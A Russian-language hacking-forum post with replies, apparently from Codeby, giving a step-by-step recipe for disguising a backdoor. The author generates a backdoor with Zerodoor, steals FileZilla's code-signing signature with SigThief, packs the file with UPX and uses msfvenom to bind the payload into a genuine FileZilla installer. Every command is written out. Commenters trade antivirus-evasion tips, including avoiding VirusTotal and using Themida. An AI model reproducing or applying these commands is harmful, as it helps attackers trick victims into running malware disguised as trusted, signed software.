Интересно, а ты часом по факту Касперским не проверял? Потому что у меня билд на сайте показывает, что Касперскому на него насрать, но в итоге " обнаружено".
p.s. билд генерил другим способом
p.s. билд генерил другим способом
Режим чтения
[ обложка статьи ]
Введение
Всем привет, на форуме появился не давно. Читая статьи всегда хотелось взять и самому что-то написать. И конечно как и многие из нас (форумчан) хочется попась в Grey и выше, а что бы туда попасть надо писать свои статьи. Что я сегодня и решил сделать. В течении 3 дней читал, переводил и усваивал информацию о том как спрятать свой
Скажу честно это мой лучший результат )
Основная часть
Для всего процесса нам понядобятся :
Zerodoor - https://github.com/Souhardya/Zerodoor
SigThief - https://github.com/secretsquirrel/SigThief
UPX - apt install
upx
msfvenom
SigThief - https://github.com/secretsquirrel/SigThief
UPX - apt install
upx
msfvenom
Сам процесс
( как установить объяснять не буду, с этим проблем возникнуть не должно ; )
Создаем бэкдор в Zerodoor. Заходим в репозиторий тулзы и запускаем
Запустили программу и выбираем нужные пункты :
тут ваш ip , что бы узнать ip вводим ifconfig
Для этого первым делом подделеам подпись. У нашего только что созданного бекдора не будет никакой подписи, а вот в официальных программах она есть. Я буду использовать подпись установочного файла FileZilla. Чтобы проверить наличие подписи даем команду :
Видим наличие подписи и это то что нам нужно )
Теперь нам нужно приделать эту подпись нашему файлу
Код:
python sigthief.py -i /opt/payload/FileZilla_3.30.0_win64-setup_bundled.exe -t /opt/Zerodoor/backdoor.exe -o /opt/payload/windowsproga.exe
-i - путь до файла с подписью
-t - путь до нашего файла
-o - путь до нашего будующего файлаВсе подпись подделана. Теперь сожмем файл спомощью UPX
Код:
upx -5 /путь до файлаВсе программа сжата, отлично ) Теперь было бы хорошо что бы наш виндовспрога не вызывал подозрений для этого мы соеденим его с установшиком FileZilla
Код:
msfvenom -a x86 --platform Windows -e x86/shikata_ga_nai --format=exe -x /opt/payload/FileZilla_3.30.0_win64-setup_bundled.exe -o /opt/payload/payload/windowsproga.exe -k 5
Эта была моя первая статья на форуме, всем спасибо, жду вашей реакции)
AI-выжимка
сгенерировано ИИ
Тезисы статьи скоро
Статья читается полностью. Тезисы со ссылками на разделы появятся позже.
Содержание
Codeby Academy
Практика и мастерство
От основ до продвинутого — программы для практиков Codeby.
Перейти к курсу →
Проверить антивирусом возможности не было
Ось линукс, а винду качать и ставить при скорости инета 0.4 мб/с долговато.Проверял на этом сайте (который на скринах) и на вирустотал еще для сравненияУ меня может андроид такой, но все билды которые делал, через pupy, venom, др веб даже не замечает
Да забудьте вы про вирустотал вообще! Нельзя там чекать свои файлы, используйте viruscheckmate или если жалко денег на nodistribute, но у него базы старее чем у первого.
Кстати результат будет намного лучше, если использовать Resource Hacker в связке с TheMida, каждый день по несколько раз приходится так делать, результат на чекмейт 2-4 детекта, такой-же и рантайм результат
Кстати результат будет намного лучше, если использовать Resource Hacker в связке с TheMida, каждый день по несколько раз приходится так делать, результат на чекмейт 2-4 детекта, такой-же и рантайм результат
Да про вирустотал наслышал многое, да знаю что сливает инфу АВ компаниям, но я все делал лично для себя, поэтому чисто для сверки проверил на ВТ
---- Automatically Merged Double Post ----
может у тебя доктор не такой ?)
Последнее редактирование:
да и сигнатуру тулзы твоей которой пайлоад генериш.
мне панравилось твоя писанина пиши ишо
Да бред палится абсолютно всеми антивирусами если тотал и пропускает то на самом хосте даже avg ругается, а по поводу shikata_ga_nai стандартные крипторы лучше вообще не использовать многие палят именно по их сигнатуре
Не сказал бы, знакомый тестил на своем компе (виндовс 7 антивир "AVG") зашла на ура, и еще заметил такую вещь ( ав был AVAST) если на момент запуска антивир отключить, а потом включить, то антивирус тупо не мог удалить файл до тех пор пока ты не отключишься.
ты имеется ввиду атакующий
ну в этом весь и смысл "если отключить" а если не отключать ))) у меня не один не пропустил кроме касперского ну при создании сессии касперский сразу ругнулся и все почистил а если эвристический типо norton он сразу удаляет файл целиком так что не панацея увы
Я конечно все понимаю вы этой информацией владели 16 году, вы молодец! Но надо помнить что помимо вас есть другие люди, которые только не давно узнали.
А если у вас есть новая информация, то попрощу вас поделиться, так как может быть, что я наткнусь на это через года 2-3. И что бы вы не написали " Тема года 18ого вы чего хотите?" )
А жаль..
Поиск в обсуждении
Карта ветки
Продолжить чтение
Следующий разбор
Песочница, в которой прятался враг
Ещё по теме
- Статья
- Статья
- Статья
Комментарии
23